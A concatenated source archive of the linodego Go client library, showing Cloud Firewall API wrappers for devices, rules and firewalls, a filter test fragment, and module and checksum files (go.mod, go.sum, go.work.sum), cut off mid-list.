"vcpus": map[string]any{ "+gte": 12, }, }, { "class": "standard", }, }, } expectedStr, err := json.Marshal(expected) if err != nil { t.Fatalf("failed to marshal expected json: %v", err) } c1 := &Comp{"vcpus", Gte, 12} c2 := &Comp{"class", Eq, "standard"} out := Or("", "", c1, c2) result, err := out.MarshalJSON() if err != nil { t.Fatalf("failed to marshal filter: %v", err) } if !reflect.DeepEqual(result, expectedStr) { t.Fatal(string(result), " doesn't match ", string(expectedStr)) } } golang-github-linode-linodego-1.28.0/firewall_devices.go000066400000000000000000000077601455402072200232500ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) // FirewallDeviceType represents the different kinds of devices governable by a Firewall type FirewallDeviceType string // FirewallDeviceType constants start with FirewallDevice const ( FirewallDeviceLinode FirewallDeviceType = "linode" FirewallDeviceNodeBalancer FirewallDeviceType = "nodebalancer" ) // FirewallDevice represents a device governed by a Firewall type FirewallDevice struct { ID int `json:"id"` Entity FirewallDeviceEntity `json:"entity"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` } // FirewallDeviceCreateOptions fields are those accepted by CreateFirewallDevice type FirewallDeviceCreateOptions struct { ID int `json:"id"` Type FirewallDeviceType `json:"type"` } // UnmarshalJSON implements the json.Unmarshaler interface func (device *FirewallDevice) UnmarshalJSON(b []byte) error { type Mask FirewallDevice p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` }{ Mask: (*Mask)(device), } if err := json.Unmarshal(b, &p); err != nil { return err } device.Created = (*time.Time)(p.Created) device.Updated = (*time.Time)(p.Updated) return nil } // FirewallDeviceEntity contains information about a device associated with a Firewall type FirewallDeviceEntity struct { ID int `json:"id"` Type FirewallDeviceType `json:"type"` Label string `json:"label"` URL string `json:"url"` } // FirewallDevicesPagedResponse represents a Linode API response for FirewallDevices type FirewallDevicesPagedResponse struct { *PageOptions Data []FirewallDevice `json:"data"` } // endpoint gets the endpoint URL for FirewallDevices of a given Firewall func (FirewallDevicesPagedResponse) endpoint(ids ...any) string { id, _ := ids[0].(int) return fmt.Sprintf("networking/firewalls/%d/devices", id) } func (resp *FirewallDevicesPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(FirewallDevicesPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*FirewallDevicesPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListFirewallDevices get devices associated with a given Firewall func (c *Client) ListFirewallDevices(ctx context.Context, firewallID int, opts *ListOptions) ([]FirewallDevice, error) { response := FirewallDevicesPagedResponse{} err := c.listHelper(ctx, &response, opts, firewallID) if err != nil { return nil, err } return response.Data, nil } // GetFirewallDevice gets a FirewallDevice given an ID func (c *Client) GetFirewallDevice(ctx context.Context, firewallID, deviceID int) (*FirewallDevice, error) { e := fmt.Sprintf("networking/firewalls/%d/devices/%d", firewallID, deviceID) req := c.R(ctx).SetResult(&FirewallDevice{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*FirewallDevice), nil } // AddFirewallDevice associates a Device with a given Firewall func (c *Client) CreateFirewallDevice(ctx context.Context, firewallID int, opts FirewallDeviceCreateOptions) (*FirewallDevice, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := fmt.Sprintf("networking/firewalls/%d/devices", firewallID) req := c.R(ctx).SetResult(&FirewallDevice{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*FirewallDevice), nil } // DeleteFirewallDevice disassociates a Device with a given Firewall func (c *Client) DeleteFirewallDevice(ctx context.Context, firewallID, deviceID int) error { e := fmt.Sprintf("networking/firewalls/%d/devices/%d", firewallID, deviceID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } golang-github-linode-linodego-1.28.0/firewall_rules.go000066400000000000000000000042171455402072200227520ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" ) // NetworkProtocol enum type type NetworkProtocol string // NetworkProtocol enum values const ( TCP NetworkProtocol = "TCP" UDP NetworkProtocol = "UDP" ICMP NetworkProtocol = "ICMP" IPENCAP NetworkProtocol = "IPENCAP" ) // NetworkAddresses are arrays of ipv4 and v6 addresses type NetworkAddresses struct { IPv4 *[]string `json:"ipv4,omitempty"` IPv6 *[]string `json:"ipv6,omitempty"` } // A FirewallRule is a whitelist of ports, protocols, and addresses for which traffic should be allowed. type FirewallRule struct { Action string `json:"action"` Label string `json:"label"` Description string `json:"description,omitempty"` Ports string `json:"ports,omitempty"` Protocol NetworkProtocol `json:"protocol"` Addresses NetworkAddresses `json:"addresses"` } // FirewallRuleSet is a pair of inbound and outbound rules that specify what network traffic should be allowed. type FirewallRuleSet struct { Inbound []FirewallRule `json:"inbound"` InboundPolicy string `json:"inbound_policy"` Outbound []FirewallRule `json:"outbound"` OutboundPolicy string `json:"outbound_policy"` } // GetFirewallRules gets the FirewallRuleSet for the given Firewall. func (c *Client) GetFirewallRules(ctx context.Context, firewallID int) (*FirewallRuleSet, error) { e := fmt.Sprintf("networking/firewalls/%d/rules", firewallID) req := c.R(ctx).SetResult(&FirewallRuleSet{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*FirewallRuleSet), nil } // UpdateFirewallRules updates the FirewallRuleSet for the given Firewall func (c *Client) UpdateFirewallRules(ctx context.Context, firewallID int, rules FirewallRuleSet) (*FirewallRuleSet, error) { body, err := json.Marshal(rules) if err != nil { return nil, err } e := fmt.Sprintf("networking/firewalls/%d/rules", firewallID) req := c.R(ctx).SetResult(&FirewallRuleSet{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*FirewallRuleSet), nil } golang-github-linode-linodego-1.28.0/firewalls.go000066400000000000000000000113461455402072200217240ustar00rootroot00000000000000package linodego import ( "context" "encoding/json" "fmt" "time" "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) // FirewallStatus enum type type FirewallStatus string // FirewallStatus enums start with Firewall const ( FirewallEnabled FirewallStatus = "enabled" FirewallDisabled FirewallStatus = "disabled" FirewallDeleted FirewallStatus = "deleted" ) // A Firewall is a set of networking rules (iptables) applied to Devices with which it is associated type Firewall struct { ID int `json:"id"` Label string `json:"label"` Status FirewallStatus `json:"status"` Tags []string `json:"tags,omitempty"` Rules FirewallRuleSet `json:"rules"` Created *time.Time `json:"-"` Updated *time.Time `json:"-"` } // DevicesCreationOptions fields are used when adding devices during the Firewall creation process. type DevicesCreationOptions struct { Linodes []int `json:"linodes,omitempty"` NodeBalancers []int `json:"nodebalancers,omitempty"` } // FirewallCreateOptions fields are those accepted by CreateFirewall type FirewallCreateOptions struct { Label string `json:"label,omitempty"` Rules FirewallRuleSet `json:"rules"` Tags []string `json:"tags,omitempty"` Devices DevicesCreationOptions `json:"devices,omitempty"` } // FirewallUpdateOptions is an options struct used when Updating a Firewall type FirewallUpdateOptions struct { Label string `json:"label,omitempty"` Status FirewallStatus `json:"status,omitempty"` Tags *[]string `json:"tags,omitempty"` } // GetUpdateOptions converts a Firewall to FirewallUpdateOptions for use in Client.UpdateFirewall. func (f *Firewall) GetUpdateOptions() FirewallUpdateOptions { return FirewallUpdateOptions{ Label: f.Label, Status: f.Status, Tags: &f.Tags, } } // UnmarshalJSON for Firewall responses func (f *Firewall) UnmarshalJSON(b []byte) error { type Mask Firewall p := struct { *Mask Created *parseabletime.ParseableTime `json:"created"` Updated *parseabletime.ParseableTime `json:"updated"` }{ Mask: (*Mask)(f), } if err := json.Unmarshal(b, &p); err != nil { return err } f.Created = (*time.Time)(p.Created) f.Updated = (*time.Time)(p.Updated) return nil } // FirewallsPagedResponse represents a Linode API response for listing of Cloud Firewalls type FirewallsPagedResponse struct { *PageOptions Data []Firewall `json:"data"` } func (FirewallsPagedResponse) endpoint(_ ...any) string { return "networking/firewalls" } func (resp *FirewallsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { res, err := coupleAPIErrors(r.SetResult(FirewallsPagedResponse{}).Get(e)) if err != nil { return 0, 0, err } castedRes := res.Result().(*FirewallsPagedResponse) resp.Data = append(resp.Data, castedRes.Data...) return castedRes.Pages, castedRes.Results, nil } // ListFirewalls returns a paginated list of Cloud Firewalls func (c *Client) ListFirewalls(ctx context.Context, opts *ListOptions) ([]Firewall, error) { response := FirewallsPagedResponse{} err := c.listHelper(ctx, &response, opts) if err != nil { return nil, err } return response.Data, nil } // CreateFirewall creates a single Firewall with at least one set of inbound or outbound rules func (c *Client) CreateFirewall(ctx context.Context, opts FirewallCreateOptions) (*Firewall, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := "networking/firewalls" req := c.R(ctx).SetResult(&Firewall{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Post(e)) if err != nil { return nil, err } return r.Result().(*Firewall), nil } // GetFirewall gets a single Firewall with the provided ID func (c *Client) GetFirewall(ctx context.Context, firewallID int) (*Firewall, error) { e := fmt.Sprintf("networking/firewalls/%d", firewallID) req := c.R(ctx).SetResult(&Firewall{}) r, err := coupleAPIErrors(req.Get(e)) if err != nil { return nil, err } return r.Result().(*Firewall), nil } // UpdateFirewall updates a Firewall with the given ID func (c *Client) UpdateFirewall(ctx context.Context, firewallID int, opts FirewallUpdateOptions) (*Firewall, error) { body, err := json.Marshal(opts) if err != nil { return nil, err } e := fmt.Sprintf("networking/firewalls/%d", firewallID) req := c.R(ctx).SetResult(&Firewall{}).SetBody(string(body)) r, err := coupleAPIErrors(req.Put(e)) if err != nil { return nil, err } return r.Result().(*Firewall), nil } // DeleteFirewall deletes a single Firewall with the provided ID func (c *Client) DeleteFirewall(ctx context.Context, firewallID int) error { e := fmt.Sprintf("networking/firewalls/%d", firewallID) _, err := coupleAPIErrors(c.R(ctx).Delete(e)) return err } golang-github-linode-linodego-1.28.0/go.mod000066400000000000000000000004571455402072200205140ustar00rootroot00000000000000module github.com/linode/linodego require ( github.com/go-resty/resty/v2 v2.11.0 github.com/google/go-cmp v0.6.0 golang.org/x/net v0.20.0 golang.org/x/text v0.14.0 gopkg.in/ini.v1 v1.66.6 ) require github.com/stretchr/testify v1.8.4 // indirect go 1.20 retract v1.0.0 // Accidental branch push golang-github-linode-linodego-1.28.0/go.sum000066400000000000000000000116221455402072200205350ustar00rootroot00000000000000github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/go-resty/resty/v2 v2.11.0 h1:i7jMfNOJYMp69lq7qozJP+bjgzfAzeOhuGlyDrqxT/8= github.com/go-resty/resty/v2 v2.11.0/go.mod h1:iiP/OpA0CkcL3IGt1O0+/SIItFUbkkyw5BGXiVdTu+A= github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/stretchr/testify v1.8.4 h1:CcVxjf3Q8PM0mHUKJCdn+eZZtm5yQwehR5yeSVQQcUk= github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.14.0/go.mod h1:MVFd36DqK4CsrnJYDkBA3VC4m2GkXAM0PvzMCn4JQf4= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= golang.org/x/net v0.17.0/go.mod h1:NxSsAGuq816PNPmqtQdLE42eU2Fs7NoRIZrHJAlaCOE= golang.org/x/net v0.20.0 h1:aCL9BSgETF1k+blQaYUBx9hJ9LOGP3gAVemcZlf1Kpo= golang.org/x/net v0.20.0/go.mod h1:z8BVo6PvndSri0LbOE3hAn0apkU+1YvI6E70E9jsnvY= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.13.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= golang.org/x/term v0.13.0/go.mod h1:LTmsnFJwVN6bCy1rVCoS+qHT1HhALEFxKncY3WNNh4U= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= golang.org/x/text v0.14.0 h1:ScX5w1eTa3QqT8oi6+ziP7dTV1S2+ALU0bI+0zXKWiQ= golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/time v0.3.0 h1:rg5rLMjNzMS1RkNLzCG38eapWhnYLFYXDXj2gOlr8j4= golang.org/x/time v0.3.0/go.mod h1:tRJNPiyCQ0inRvYxbN9jk5I+vvW/OXSQhTDSoE431IQ= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= gopkg.in/ini.v1 v1.66.6 h1:LATuAqN/shcYAOkv3wl2L4rkaKqkcgTBQjOyYDvcPKI= gopkg.in/ini.v1 v1.66.6/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= golang-github-linode-linodego-1.28.0/go.work000066400000000000000000000000431455402072200207060ustar00rootroot00000000000000go 1.20 use ( . ./k8s ./test ) golang-github-linode-linodego-1.28.0/go.work.sum000066400000000000000000000454571455402072200215330ustar00rootroot00000000000000cloud.google.com/go v0.81.0 h1:at8Tk2zUz63cLPR0JPWm5vp77pEZmzxEQBEfRKn1VV8= cloud.google.com/go/bigquery v1.8.0 h1:PQcPefKFdaIzjQFbiyOgAqyx8q5djaE7x9Sqe712DPA= cloud.google.com/go/compute/metadata v0.2.0 h1:nBbNSZyDpkNlo3DepaaLKVuO7ClyifSAmNloSCZrHnQ= cloud.google.com/go/compute/metadata v0.2.0/go.mod h1:zFmK7XCadkQkj6TtorcaGlCW1hT1fIilQDwofLpJ20k= cloud.google.com/go/datastore v1.1.0 h1:/May9ojXjRkPBNVrq+oWLqmWCkr4OU5uRY29bu0mRyQ= cloud.google.com/go/pubsub v1.3.1 h1:ukjixP1wl0LpnZ6LWtZJ0mX5tBmjp1f8Sqer8Z2OMUU= cloud.google.com/go/storage v1.10.0 h1:STgFzyU5/8miMl0//zKh2aQeTyeaUH3WN9bSUiJ09bA= dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9 h1:VpgP7xuJadIUuKccphEpTJnWhS2jkQyMt6Y7pJCD7fY= github.com/Azure/go-autorest v14.2.0+incompatible h1:V5VMDjClD3GiElqLWO7mz2MxNAK/vTfRHdAubSIPRgs= github.com/Azure/go-autorest/autorest v0.9.0/go.mod h1:xyHB1BMZT0cuDHU7I0+g046+BFDTQ8rEZB0s4Yfa6bI= github.com/Azure/go-autorest/autorest v0.11.18 h1:90Y4srNYrwOtAgVo3ndrQkTYn6kf1Eg/AjTFJ8Is2aM= github.com/Azure/go-autorest/autorest/adal v0.5.0/go.mod h1:8Z9fGy2MpX0PvDjB1pEgQTmVqjGhiHBW7RJJEciWzS0= github.com/Azure/go-autorest/autorest/adal v0.9.13 h1:Mp5hbtOePIzM8pJVRa3YLrWWmZtoxRXqUEzCfJt3+/Q= github.com/Azure/go-autorest/autorest/date v0.1.0/go.mod h1:plvfp3oPSKwf2DNjlBjWF/7vwR+cUD/ELuzDCXwHUVA= github.com/Azure/go-autorest/autorest/date v0.3.0 h1:7gUk1U5M/CQbp9WoqinNzJar+8KY+LPI6wiWrP/myHw= github.com/Azure/go-autorest/autorest/mocks v0.1.0/go.mod h1:OTyCOPRA2IgIlWxVYxBee2F5Gr4kF2zd2J5cFRaIDN0= github.com/Azure/go-autorest/autorest/mocks v0.2.0/go.mod h1:OTyCOPRA2IgIlWxVYxBee2F5Gr4kF2zd2J5cFRaIDN0= github.com/Azure/go-autorest/autorest/mocks v0.4.1 h1:K0laFcLE6VLTOwNgSxaGbUcLPuGXlNkbVvq4cW4nIHk= github.com/Azure/go-autorest/logger v0.1.0/go.mod h1:oExouG+K6PryycPJfVSxi/koC6LSNgds39diKLz7Vrc= github.com/Azure/go-autorest/logger v0.2.1 h1:IG7i4p/mDa2Ce4TRyAO8IHnVhAVF3RFU+ZtXWSmf4Tg= github.com/Azure/go-autorest/tracing v0.5.0/go.mod h1:r/s2XiOKccPW3HrqB+W0TQzfbtp2fGCgRFtBroKn4Dk= github.com/Azure/go-autorest/tracing v0.6.0 h1:TYi4+3m5t6K48TGI9AUdb+IzbnSxvnvUMfuitfgcfuo= github.com/BurntSushi/toml v0.3.1 h1:WXkYYl6Yr3qBf1K79EBnL4mak0OimBfB0XUf9Vl28OQ= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802 h1:1BDTz0u9nC3//pOCMdNH+CiXJVYJh5UQNCOBG7jbELc= github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46 h1:lsxEuwrXEAokXB9qhlbKWPpo3KMLZQ5WB5WLQRW1uq0= github.com/NYTimes/gziphandler v0.0.0-20170623195520-56545f4a5d46/go.mod h1:3wb06e3pkSAbeQ52E9H9iFoQsEEwGN64994WTCIhntQ= github.com/PuerkitoBio/purell v1.0.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0= github.com/PuerkitoBio/purell v1.1.1 h1:WEQqlqaGbrPkxLJWfBwQmfEAE1Z7ONdDLqrN38tNFfI= github.com/PuerkitoBio/urlesc v0.0.0-20160726150825-5bd2802263f2/go.mod h1:uGdkoq3SwY9Y+13GIhn11/XLaGBb4BfwItxLd5jeuXE= github.com/PuerkitoBio/urlesc v0.0.0-20170810143723-de5bf2ad4578 h1:d+Bc7a5rLufV/sSk/8dngufqelfh6jnri85riMAaF/M= github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5 h1:0CwZNZbxp69SHPdPJAN/hZIm0C4OItdklCFmMRWYpio= github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5/go.mod h1:wHh0iHkYZB8zMSxRWpUBQtwG5a7fFgvEO+odwuTv2gs= github.com/asaskevich/govalidator v0.0.0-20190424111038-f61b66f89f4a h1:idn718Q4B6AGu/h5Sxe66HYVdqdGu2l9Iebqhi/AEoA= github.com/asaskevich/govalidator v0.0.0-20190424111038-f61b66f89f4a/go.mod h1:lB+ZfQJz7igIIfQNfa7Ml4HSf2uFQQRzpGGRXenZAgY= github.com/census-instrumentation/opencensus-proto v0.2.1 h1:glEXhBS5PSLLv4IXzLA5yPRVX4bilULVyxxbrfOtDAk= github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e h1:fY5BOSpyZCqRo5OhCuC+XN+r/bBCmeuuJtjz+bCNIf8= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 h1:q763qf9huN11kDQavWsoZXJNW3xEE4JJyHa5Q25/sd8= github.com/client9/misspell v0.3.4 h1:ta993UF76GwbvJcIo3Y68y/M3WxlpEHPWIGDkJYwzJI= github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403 h1:cqQfy1jclcSy/FwLjemeg3SR1yaINm74aQyupQ0Bl8M= github.com/creack/pty v1.1.9 h1:uDmaGzcdjhF4i/plgjmEsriH11Y0o7RKapEf/LDaM3w= github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= github.com/dnaeon/go-vcr v1.0.1/go.mod h1:aBB1+wY4s93YsC3HHjMBMrwTj2R9FHDzUr9KyGc8n1E= github.com/docker/spdystream v0.0.0-20160310174837-449fdfce4d96/go.mod h1:Qh8CwZgvJUkLughtfhJv5dyTYa91l1fOUCrgjqmcifM= github.com/docopt/docopt-go v0.0.0-20180111231733-ee0de3bc6815 h1:bWDMxwH3px2JBh6AyO7hdCn/PkvCZXii8TGj7sbtEbQ= github.com/elazarl/goproxy v0.0.0-20180725130230-947c36da3153 h1:yUdfgN0XgIJw7foRItutHYUIhlcKzcSf5vDpdhQAKTc= github.com/emicklei/go-restful v0.0.0-20170410110728-ff4f55a20633 h1:H2pdYOb3KQ1/YsqVWoWNLQO+fusocsw354rqGTZtAgw= github.com/emicklei/go-restful/v3 v3.8.0/go.mod h1:6n3XBCmQQb25CM2LCACGz8ukIrRry+4bhvbpWn3mrbc= github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad h1:EmNYJhPYy0pOFjCx2PrgtaBXmee0iUX9hLlxE1xHOJE= github.com/envoyproxy/protoc-gen-validate v0.1.0 h1:EQciDnbrYxy13PgWoY8AqoxGiPrpgBZ1R8UNe3ddc+A= github.com/evanphx/json-patch v4.2.0+incompatible/go.mod h1:50XU6AFN0ol/bzJsmQLiYLvXMP4fmwYFNcr97nuDLSk= github.com/evanphx/json-patch v4.12.0+incompatible h1:4onqiflcdA9EOZ4RxV643DvftH5pOlLGNtQ5lPWQu84= github.com/evanphx/json-patch v5.6.0+incompatible h1:jBYDEEiFBPxA0v50tFdvOzQQTCvpL6mnFh5mB2/l16U= github.com/evanphx/json-patch v5.6.0+incompatible/go.mod h1:50XU6AFN0ol/bzJsmQLiYLvXMP4fmwYFNcr97nuDLSk= github.com/form3tech-oss/jwt-go v3.2.3+incompatible h1:7ZaBxOI7TMoYBfyA3cQHErNNyAWIKUMIwqxEtgHOs5c= github.com/getkin/kin-openapi v0.76.0 h1:j77zg3Ec+k+r+GA3d8hBoXpAc6KX9TbBPrwQGBIy2sY= github.com/ghodss/yaml v0.0.0-20150909031657-73d445a93680/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= github.com/ghodss/yaml v1.0.0 h1:wQHKEahhL6wmXdzwWG11gIVCkOv05bNOh+Rxn0yngAk= github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1 h1:QbL/5oDUmRBzO9/Z7Seo6zf912W/a6Sr4Eu0G/3Jho0= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4 h1:WtGNWLvXpe6ZudgnXrq0barxBImvnnJoMEhXAzcbM0I= github.com/go-logr/logr v0.1.0/go.mod h1:ixOQHD9gLJUVQQ2ZOR7zLEifBX6tGkNJF4QyIY7sIas= github.com/go-logr/logr v0.2.0/go.mod h1:z6/tIYblkpsD+a4lm/fGIIU9mZ+XfAiaFtq7xTgseGU= github.com/go-openapi/jsonpointer v0.0.0-20160704185906-46af16f9f7b1/go.mod h1:+35s3my2LFTysnkMfxsJBAMHj/DoqoB9knIWoYG/Vk0= github.com/go-openapi/jsonpointer v0.19.5 h1:gZr+CIYByUqjcgeLXnQu2gHYQC9o73G2XUeOFYEICuY= github.com/go-openapi/jsonreference v0.0.0-20160704190145-13c6e3589ad9/go.mod h1:W3Z9FmVs9qj+KR4zFKmDPGiLdk1D9Rlm7cyMvf57TTg= github.com/go-openapi/jsonreference v0.19.3 h1:5cxNfTy0UVC3X8JL5ymxzyoUZmo8iZb+jeTWn7tUa8o= github.com/go-openapi/spec v0.0.0-20160808142527-6aced65f8501/go.mod h1:J8+jY1nAiCcj+friV/PDoE1/3eeccG9LYBs0tYvLOWc= github.com/go-openapi/swag v0.0.0-20160704191624-1d0bd113de87/go.mod h1:DXUve3Dpr1UfpPtxFw+EFuQ41HhCWZfha5jSVRG7C7I= github.com/go-openapi/swag v0.19.5 h1:lTz6Ys4CmqqCQmZPBlbQENR1/GucA2bzYTE12Pw4tFY= github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE= github.com/go-task/slim-sprig v0.0.0-20230315185526-52ccab3ef572/go.mod h1:9Pwr4B2jHnOSGXyyzV8ROjYa2ojvAY6HCGYYfMoC3Ls= github.com/gogo/protobuf v1.3.1/go.mod h1:SlYgWuQ5SjCEi6WLHjHCa1yvBfUnHcTbrrZtXPKa29o= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b h1:VKtxabqXZkF25pY9ekfRL6a582T4P37/31XEstQ5p58= github.com/golang/groupcache v0.0.0-20160516000752-02826c3e7903/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da h1:oI5xCqsCo564l8iNU+DwB5epxmsaqB+rhGL0m5jtYqE= github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/golang/mock 